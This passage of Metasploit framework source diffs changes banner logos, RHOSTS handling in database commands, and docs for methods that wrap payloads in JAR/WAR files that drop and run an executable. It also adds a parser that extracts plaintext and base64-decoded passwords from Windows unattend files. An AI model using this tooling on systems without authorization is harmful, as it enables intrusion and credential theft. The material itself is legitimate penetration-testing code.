%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr
|
||||
%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr
|
||||
%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr
|
||||
%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr
|
||||
%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
|
||||
%clr
|
||||
',
|
||||
'
|
||||
%clr ######## #
|
||||
################# #
|
||||
###################### #
|
||||
######################### #
|
||||
############################
|
||||
##############################
|
||||
###############################
|
||||
###############################
|
||||
##############################
|
||||
# ######## #
|
||||
%red##%clr %red###%clr #### ##
|
||||
### ###
|
||||
#### ###
|
||||
#### ########## ####
|
||||
####################### ####
|
||||
#################### ####
|
||||
################## ####
|
||||
############ ##
|
||||
######## ###
|
||||
######### #####
|
||||
############ ######
|
||||
######## #########
|
||||
##### ########
|
||||
### #########
|
||||
###### ############
|
||||
#######################
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
%clr
|
||||
',
|
||||
%Q{
|
||||
%whi+-------------------------------------------------------+
|
||||
%whi| METASPLOIT by Rapid7 |
|
||||
%whi+---------------------------+---------------------------+
|
||||
%whi| %blu__________________ %whi| |
|
||||
%whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======\[%red*** %whi|
|
||||
%whi| %blu)%yel=%blu\\\ %whi| %grn| %whiEXPLOIT %grn\\ %whi|
|
||||
%whi| %blu// \\\\ %whi| %grn|_____________\\_______ %whi|
|
||||
%whi| %blu// \\\\ %whi| %grn|==\[%whimsf >%grn\]============\\ %whi|
|
||||
%whi| %blu// \\\\ %whi| %grn|______________________\\ %whi|
|
||||
%whi| %blu// %whiRECON %blu\\\\ %whi| %grn\\(@)(@)(@)(@)(@)(@)(@)/ %whi|
|
||||
%whi| %blu// \\\\ %whi| %grn********************* %whi|
|
||||
%whi+---------------------------+---------------------------+
|
||||
%whi| o O o | %yel\\'\\/\\/\\/'/ %whi|
|
||||
%whi| o O | %yel)%whi======%yel( %whi|
|
||||
%whi| o | %yel.' %whiLOOT %yel'. %whi|
|
||||
%whi| %red|^^^^^^^^^^^^^^\|l%red___ %whi| %yel/ %grn_||__ %yel\\ %whi|
|
||||
%whi| %red| %whiPAYLOAD %red|%whi""\\%red___, %whi| %yel/ %grn(_||_ %yel\\ %whi|
|
||||
%whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi|
|
||||
%whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi|
|
||||
%whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi|
|
||||
%whi+---------------------------+---------------------------+%clr
|
||||
%clr
|
||||
},]
|
||||
|
||||
|
||||
|
||||
%w{
|
||||
wake-up-neo.txt
|
||||
cow-head.txt
|
||||
r7-metasploit.txt
|
||||
figlet.txt
|
||||
i-heart-shells.txt
|
||||
branded-longhorn.txt
|
||||
cowsay.txt
|
||||
3kom-superhack.txt
|
||||
missile-command.txt
|
||||
null-pointer-deref.txt
|
||||
metasploit-shield.txt
|
||||
ninja.txt
|
||||
workflow.txt
|
||||
}
|
||||
|
||||
#
|
||||
# Returns a random metasploit logo.
|
||||
#
|
||||
|
||||
def self.readfile(fname)
|
||||
base = File.expand_path(File.dirname(__FILE__))
|
||||
pathname = File.join(base, "logos", fname)
|
||||
fdata = "<< Missing banner: #{fname} >>"
|
||||
begin
|
||||
raise ArgumentError unless File.readable?(pathname)
|
||||
raise ArgumentError unless File.stat(pathname).size < 4096
|
||||
fdata = File.open(pathname) {|f| f.read f.stat.size}
|
||||
rescue SystemCallError, ArgumentError
|
||||
nil
|
||||
end
|
||||
return fdata
|
||||
end
|
||||
|
||||
def self.to_s
|
||||
if ENV['GOCOW']
|
||||
case rand(2)
|
||||
case rand(3)
|
||||
when 0
|
||||
Logos[1]
|
||||
self.readfile Logos[1]
|
||||
when 1
|
||||
Logos[5]
|
||||
self.readfile Logos[5]
|
||||
when 2
|
||||
self.readfile Logos[6]
|
||||
end
|
||||
else
|
||||
Logos[rand(Logos.length)]
|
||||
self.readfile Logos[rand(Logos.length)]
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2365,6 +2365,7 @@ class Core
|
|||
return option_values_payloads() if opt.upcase == 'PAYLOAD'
|
||||
return option_values_targets() if opt.upcase == 'TARGET'
|
||||
return option_values_nops() if opt.upcase == 'NOPS'
|
||||
return option_values_encoders() if opt.upcase == 'StageEncoder'
|
||||
end
|
||||
|
||||
# Well-known option names specific to auxiliaries
|
||||
|
|
|
@ -205,6 +205,7 @@ class Db
|
|||
mode = :search
|
||||
delete_count = 0
|
||||
|
||||
rhosts = []
|
||||
host_ranges = []
|
||||
search_term = nil
|
||||
|
||||
|
@ -241,7 +242,6 @@ class Db
|
|||
output = args.shift
|
||||
when '-R','--rhosts'
|
||||
set_rhosts = true
|
||||
rhosts = []
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
|
||||
|
@ -280,11 +280,6 @@ class Db
|
|||
range.each do |address|
|
||||
host = framework.db.find_or_create_host(:host => address)
|
||||
print_status("Time: #{host.created_at} Host: host=#{host.address}")
|
||||
if set_rhosts
|
||||
# only unique addresses
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr unless rhosts.include?(addr)
|
||||
end
|
||||
end
|
||||
end
|
||||
return
|
||||
|
@ -323,7 +318,7 @@ class Db
|
|||
tbl << columns
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr unless rhosts.include?(addr)
|
||||
rhosts << addr
|
||||
end
|
||||
if mode == :delete
|
||||
host.destroy
|
||||
|
@ -344,9 +339,11 @@ class Db
|
|||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts) if set_rhosts
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
print_status("Deleted #{delete_count} hosts") if delete_count > 0
|
||||
}
|
||||
##
|
||||
##
|
||||
end
|
||||
|
||||
def cmd_services_help
|
||||
|
@ -366,10 +363,11 @@ class Db
|
|||
default_columns = ::Mdm::Service.column_names.sort
|
||||
default_columns.delete_if {|v| (v[-2,2] == "id")}
|
||||
|
||||
host_ranges = []
|
||||
port_ranges = []
|
||||
host_ranges = []
|
||||
port_ranges = []
|
||||
rhosts = []
|
||||
delete_count = 0
|
||||
search_term = nil
|
||||
search_term = nil
|
||||
|
||||
# option parsing
|
||||
while (arg = args.shift)
|
||||
|
@ -420,7 +418,6 @@ class Db
|
|||
output_file = ::File.expand_path(output_file)
|
||||
when '-R','--rhosts'
|
||||
set_rhosts = true
|
||||
rhosts = []
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
|
||||
|
@ -508,7 +505,7 @@ class Db
|
|||
tbl << columns
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr unless rhosts.include?(addr)
|
||||
rhosts << addr
|
||||
end
|
||||
|
||||
if (mode == :delete)
|
||||
|
@ -529,7 +526,7 @@ class Db
|
|||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts) if set_rhosts
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
print_status("Deleted #{delete_count} services") if delete_count > 0
|
||||
|
||||
}
|
||||
|
@ -680,6 +677,7 @@ class Db
|
|||
|
||||
host_ranges = []
|
||||
port_ranges = []
|
||||
rhosts = []
|
||||
svcs = []
|
||||
search_term = nil
|
||||
|
||||
|
@ -733,7 +731,6 @@ class Db
|
|||
end
|
||||
when "-R"
|
||||
set_rhosts = true
|
||||
rhosts = []
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
when "-u","--user"
|
||||
|
@ -828,7 +825,7 @@ class Db
|
|||
end
|
||||
if set_rhosts
|
||||
addr = (cred.service.host.scope ? cred.service.host.address + '%' + cred.service.host.scope : cred.service.host.address )
|
||||
rhosts << addr unless rhosts.include?(addr)
|
||||
rhosts << addr
|
||||
end
|
||||
creds_returned += 1
|
||||
end
|
||||
|
@ -842,7 +839,7 @@ class Db
|
|||
print_status("Wrote services to #{output_file}")
|
||||
end
|
||||
|
||||
set_rhosts_from_addrs(rhosts) if set_rhosts
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}."
|
||||
}
|
||||
end
|
||||
|
@ -873,6 +870,7 @@ class Db
|
|||
set_rhosts = false
|
||||
|
||||
host_ranges = []
|
||||
rhosts = []
|
||||
search_term = nil
|
||||
|
||||
while (arg = args.shift)
|
||||
|
@ -896,7 +894,6 @@ class Db
|
|||
types = typelist.strip().split(",")
|
||||
when '-R','--rhosts'
|
||||
set_rhosts = true
|
||||
rhosts = []
|
||||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
when '-h','--help'
|
||||
|
@ -954,7 +951,7 @@ class Db
|
|||
msg << " host=#{note.host.address}"
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr unless rhosts.include?(addr)
|
||||
rhosts << addr
|
||||
end
|
||||
end
|
||||
if (note.service)
|
||||
|
@ -971,7 +968,7 @@ class Db
|
|||
|
||||
# Finally, handle the case where the user wants the resulting list
|
||||
# of hosts to go into RHOSTS.
|
||||
set_rhosts_from_addrs(rhosts) if set_rhosts
|
||||
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||
|
||||
print_status("Deleted #{delete_count} note#{delete_count == 1 ? "" : "s"}") if delete_count > 0
|
||||
}
|
||||
|
@ -1476,7 +1473,7 @@ class Db
|
|||
print_error("The database is not connected")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
print_status("Purging and rebuilding the module cache in the background...")
|
||||
framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
framework.db.purge_all_module_details
|
||||
|
@ -1707,4 +1704,3 @@ end
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,19 @@
|
|||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld3Kom SuperHack II Logon%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| User Name: [ %redsecurity%clr ] |
|
||||
| |
|
||||
| Password: [ ] |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| %bld[ OK ]%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| http://metasploit.pro |
|
||||
|______________________________________________________________________________|%clr
|
|
@ -0,0 +1,9 @@
|
|||
, ,
|
||||
/ \
|
||||
((__---,,,---__))
|
||||
(_) O O (_)_________
|
||||
\ _ / |\
|
||||
o_o \ M S F | \
|
||||
\ _____ | *
|
||||
||| WW|||
|
||||
||| |||
|
|
@ -0,0 +1,16 @@
|
|||
%whi
|
||||
_---------.
|
||||
.' ####### ;."
|
||||
.---,. ;@ @@`; .---,..
|
||||
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
|
||||
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
|
||||
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
|
||||
"--'.@@@ -.@ @ ,'- .'--"
|
||||
".@' ; @ @ `. ;'
|
||||
|@@@@ @@@ @ .
|
||||
' @@@ @@ @@ ,
|
||||
`.@@@@ @@ .
|
||||
',@@ @ ; _____________
|
||||
( 3 C ) /|___ / Metasploit! \
|
||||
;@'. __*__,." \|--- \_____________/
|
||||
'(.,...."/%clr
|
|
@ -0,0 +1,8 @@
|
|||
# cowsay++
|
||||
____________
|
||||
< metasploit >
|
||||
------------
|
||||
\ ,__,
|
||||
\ (oo)____
|
||||
(__) )\
|
||||
||--|| *
|
|
@ -0,0 +1,6 @@
|
|||
_ _
|
||||
/ \ /\ __ _ __ /_/ __
|
||||
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
|
||||
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|
||||
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|
||||
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
|
|
@ -0,0 +1,8 @@
|
|||
%whiIIIIII %reddTb.dTb%clr _.---._
|
||||
%whi II %red4' v 'B%clr .'"".'/|\`.""'.
|
||||
%whi II %red6. .P%clr : .' / | \ `. :
|
||||
%whi II %red'T;. .;P'%clr '.' / | \ `.'
|
||||
%whi II %red'T; ;P'%clr `. / | \ .'
|
||||
%whiIIIIII %red'YvP'%clr `-.__|__.-'
|
||||
|
||||
I love shells --egypt
|
|
@ -0,0 +1,21 @@
|
|||
%clr
|
||||
%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr
|
||||
%bluMMMMMMMMMMM MMMMMMMMMM%clr
|
||||
%bluMMMN$ vMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr
|
||||
%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr
|
||||
%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr
|
||||
%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr
|
||||
%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr
|
||||
%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr
|
||||
%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr
|
||||
%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
|
||||
%clr%bld http://metasploit.pro
|
|
@ -0,0 +1,30 @@
|
|||
%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr %yel/%clr + %yel/%clr
|
||||
%yel\%clr + %yel/%clr %yel/%clr
|
||||
* %yel/%clr %yel/%clr
|
||||
%yel/%clr . %yel/%clr
|
||||
X %yel/%clr %yel/%clr X
|
||||
%yel/%clr %red###%clr
|
||||
%yel/%clr %red# %bld%%clr%red #%clr
|
||||
%yel/%clr %red###%clr
|
||||
. %yel/%clr
|
||||
. %yel/%clr . %red*%clr .
|
||||
%yel/%clr
|
||||
*
|
||||
+ %red*%clr
|
||||
|
||||
%bld^%clr
|
||||
#### __ __ __ ####### __ __ __ ####
|
||||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
http://metasploit.pro%clr
|
|
@ -0,0 +1,30 @@
|
|||
%clr ######## #
|
||||
################# #
|
||||
###################### #
|
||||
######################### #
|
||||
############################
|
||||
##############################
|
||||
###############################
|
||||
###############################
|
||||
##############################
|
||||
# ######## #
|
||||
%red##%clr %red###%clr #### ##
|
||||
### ###
|
||||
#### ###
|
||||
#### ########## ####
|
||||
####################### ####
|
||||
#################### ####
|
||||
################## ####
|
||||
############ ##
|
||||
######## ###
|
||||
######### #####
|
||||
############ ######
|
||||
######## #########
|
||||
##### ########
|
||||
### #########
|
||||
###### ############
|
||||
#######################
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
http://metasploit.pro%clr
|
|
@ -0,0 +1,37 @@
|
|||
%clr%whi
|
||||
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
|
||||
EFLAGS: 00010046
|
||||
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
|
||||
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
|
||||
ds: 0018 es: 0018 ss: 0018
|
||||
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
|
||||
|
||||
%bld
|
||||
Stack: 90909090990909090990909090
|
||||
90909090990909090990909090
|
||||
90909090.90909090.90909090
|
||||
90909090.90909090.90909090
|
||||
90909090.90909090.09090900
|
||||
90909090.90909090.09090900
|
||||
..........................
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
ccccccccc.................
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
.................ccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
..........................
|
||||
ffffffffffffffffffffffffff
|
||||
ffffffff..................
|
||||
ffffffffffffffffffffffffff
|
||||
ffffffff..................
|
||||
ffffffff..................
|
||||
ffffffff..................
|
||||
%clr
|
||||
|
||||
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
|
||||
Aiee, Killing Interrupt handler
|
||||
%redKernel panic: Attempted to kill the idle task!
|
||||
In swapper task - not syncing%clr
|
|
@ -0,0 +1,16 @@
|
|||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
|
||||
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
|
||||
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
|
||||
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
|
||||
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
here = File.expand_path(File.dirname(__FILE__))
|
||||
|
||||
puts "Hi I live #{here}!"
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc
|
||||
|
||||
Trace program: running
|
||||
|
||||
wake up, Neo...
|
||||
%bldthe matrix has you%clr
|
||||
follow the white rabbit.
|
||||
|
||||
knock, knock, Neo.
|
||||
|
||||
(`. ,-,
|
||||
` `. ,;' /
|
||||
`. ,'/ .'
|
||||
`. X /.'
|
||||
.-;--''--.._` ` (
|
||||
.' / `
|
||||
, ` ' Q '
|
||||
, , `._ \
|
||||
,.| ' `-.;_'
|
||||
: . ` ; ` ` --,.._;
|
||||
' ` , ) .'
|
||||
`._ , ' /_
|
||||
; ,''-,;' ``-
|
||||
``-..__``--`
|
||||
|
||||
http://metasploit.pro%clr
|
|
@ -0,0 +1,21 @@
|
|||
%whi+-------------------------------------------------------+
|
||||
%whi| METASPLOIT by Rapid7 |
|
||||
%whi+---------------------------+---------------------------+
|
||||
%whi| %blu__________________ %whi| |
|
||||
%whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======[%red*** %whi|
|
||||
%whi| %blu)%yel=%blu\ %whi| %grn| %whiEXPLOIT %grn\ %whi|
|
||||
%whi| %blu// \\ %whi| %grn|_____________\_______ %whi|
|
||||
%whi| %blu// \\ %whi| %grn|==[%whimsf >%grn]============\ %whi|
|
||||
%whi| %blu// \\ %whi| %grn|______________________\ %whi|
|
||||
%whi| %blu// %whiRECON %blu\\ %whi| %grn\(@)(@)(@)(@)(@)(@)(@)/ %whi|
|
||||
%whi| %blu// \\ %whi| %grn********************* %whi|
|
||||
%whi+---------------------------+---------------------------+
|
||||
%whi| o O o | %yel\'\/\/\/'/ %whi|
|
||||
%whi| o O | %yel)%whi======%yel( %whi|
|
||||
%whi| o | %yel.' %whiLOOT %yel'. %whi|
|
||||
%whi| %red|^^^^^^^^^^^^^^|l%red___ %whi| %yel/ %grn_||__ %yel\ %whi|
|
||||
%whi| %red| %whiPAYLOAD %red|%whi""\%red___, %whi| %yel/ %grn(_||_ %yel\ %whi|
|
||||
%whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi|
|
||||
%whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi|
|
||||
%whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi|
|
||||
%whi+---------------------------+---------------------------+%clr
|
|
@ -1,21 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
##
|
||||
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
|
||||
##
|
||||
|
||||
###
|
||||
#
|
||||
# framework-util-exe
|
||||
# --------------
|
||||
module Msf
|
||||
module Util
|
||||
|
||||
#
|
||||
# The class provides methods for creating and encoding executable file
|
||||
# formats for various platforms. It is a replacement for the previous
|
||||
# code in Rex::Text
|
||||
#
|
||||
###
|
||||
|
||||
module Msf
|
||||
module Util
|
||||
class EXE
|
||||
|
||||
require 'rex'
|
||||
|
@ -609,6 +601,7 @@ require 'digest/sha1'
|
|||
end
|
||||
|
||||
# Create an ELF executable containing the payload provided in +code+
|
||||
#
|
||||
# For the default template, this method just appends the payload, checks if
|
||||
# the template is 32 or 64 bit and adjusts the offsets accordingly
|
||||
# For user-provided templates, modifies the header to mark all executable
|
||||
|
@ -1187,8 +1180,9 @@ End Sub
|
|||
# Creates a jar file that drops the provided +exe+ into a random file name
|
||||
# in the system's temp dir and executes it.
|
||||
#
|
||||
# See also: +Msf::Core::Payload::Java+
|
||||
# @see Msf::Payload::Java
|
||||
#
|
||||
# @return [Rex::Zip::Jar]
|
||||
def self.to_jar(exe, opts={})
|
||||
spawn = opts[:spawn] || 2
|
||||
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
|
||||
|
@ -1205,8 +1199,30 @@ End Sub
|
|||
zip
|
||||
end
|
||||
|
||||
# Creates a Web Archive (WAR) file from the provided jsp code. Additional options
|
||||
# can be provided via the "opts" hash.
|
||||
# Creates a Web Archive (WAR) file from the provided jsp code.
|
||||
#
|
||||
# On Tomcat, WAR files will be deployed into a directory with the same name
|
||||
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
|
||||
# server is in a default configuration, deoployment will happen
|
||||
# automatically. See
|
||||
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
|
||||
# documentation} for a description of how this works.
|
||||
#
|
||||
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
|
||||
# in the archive. This will be compiled by the victim servlet container
|
||||
# (e.g., Tomcat) and act as the main function for the servlet.
|
||||
# @param opts [Hash]
|
||||
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
|
||||
# _without the .jsp extension_. Defaults to random.
|
||||
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
|
||||
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
|
||||
# random.
|
||||
# @option opts :extra_files [Array<String,String>] Additional files to add
|
||||
# to the archive. First elment is filename, second is data
|
||||
#
|
||||
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
|
||||
#
|
||||
# @return [String]
|
||||
def self.to_war(jsp_raw, opts={})
|
||||
jsp_name = opts[:jsp_name]
|
||||
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
||||
|
@ -1247,9 +1263,15 @@ End Sub
|
|||
return zip.pack
|
||||
end
|
||||
|
||||
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload.
|
||||
# The jsp page converts the hexdump back to a normal .exe file and places it in
|
||||
# the temp directory. The payload .exe file is then executed.
|
||||
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
|
||||
# payload. The jsp page converts the hexdump back to a normal binary file
|
||||
# and places it in the temp directory. The payload file is then executed.
|
||||
#
|
||||
# @see to_war
|
||||
# @param exe [String] Executable to drop and run.
|
||||
# @param opts (see to_war)
|
||||
# @option opts (see to_war)
|
||||
# @return (see to_war)
|
||||
def self.to_jsp_war(exe, opts={})
|
||||
|
||||
# begin <payload>.jsp
|
||||
|
|
|
@ -99,7 +99,7 @@ class BidirectionalPipe < Rex::Ui::Text::Input
|
|||
end
|
||||
|
||||
def print_warning(msg='')
|
||||
print_warning('[!] ' + msg)
|
||||
print_line('[!] ' + msg)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -159,4 +159,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,134 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# This is a parser for the Windows Unattended Answer File
|
||||
# format. It's used by modules/post/windows/gather/enum_unattend.rb
|
||||
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
|
||||
# See: http://technet.microsoft.com/en-us/library/ff715801
|
||||
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
|
||||
class Unattend
|
||||
|
||||
def self.parse(xml)
|
||||
results = []
|
||||
unattend = xml.elements['unattend']
|
||||
return if unattend.nil?
|
||||
unattend.each_element do |settings|
|
||||
next if settings.class != REXML::Element
|
||||
settings.get_elements('component').each do |c|
|
||||
next if c.class != REXML::Element
|
||||
results << extract_useraccounts(c.elements['UserAccounts'])
|
||||
results << extract_autologon(c.elements['AutoLogon'])
|
||||
results << extract_deployment(c.elements['WindowsDeploymentServices'])
|
||||
end
|
||||
end
|
||||
return results.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from Deployment Services.
|
||||
# We can only seem to add one <Login> with Windows System Image Manager, so
|
||||
# we'll only enum one.
|
||||
#
|
||||
def self.extract_deployment(deployment)
|
||||
return [] if deployment.nil?
|
||||
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
|
||||
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
|
||||
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
|
||||
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from AutoLogon
|
||||
#
|
||||
def self.extract_autologon(auto_logon)
|
||||
return [] if auto_logon.nil?
|
||||
|
||||
domain = auto_logon.elements['Domain'].get_text.value rescue ''
|
||||
username = auto_logon.elements['Username'].get_text.value rescue ''
|
||||
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
|
||||
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
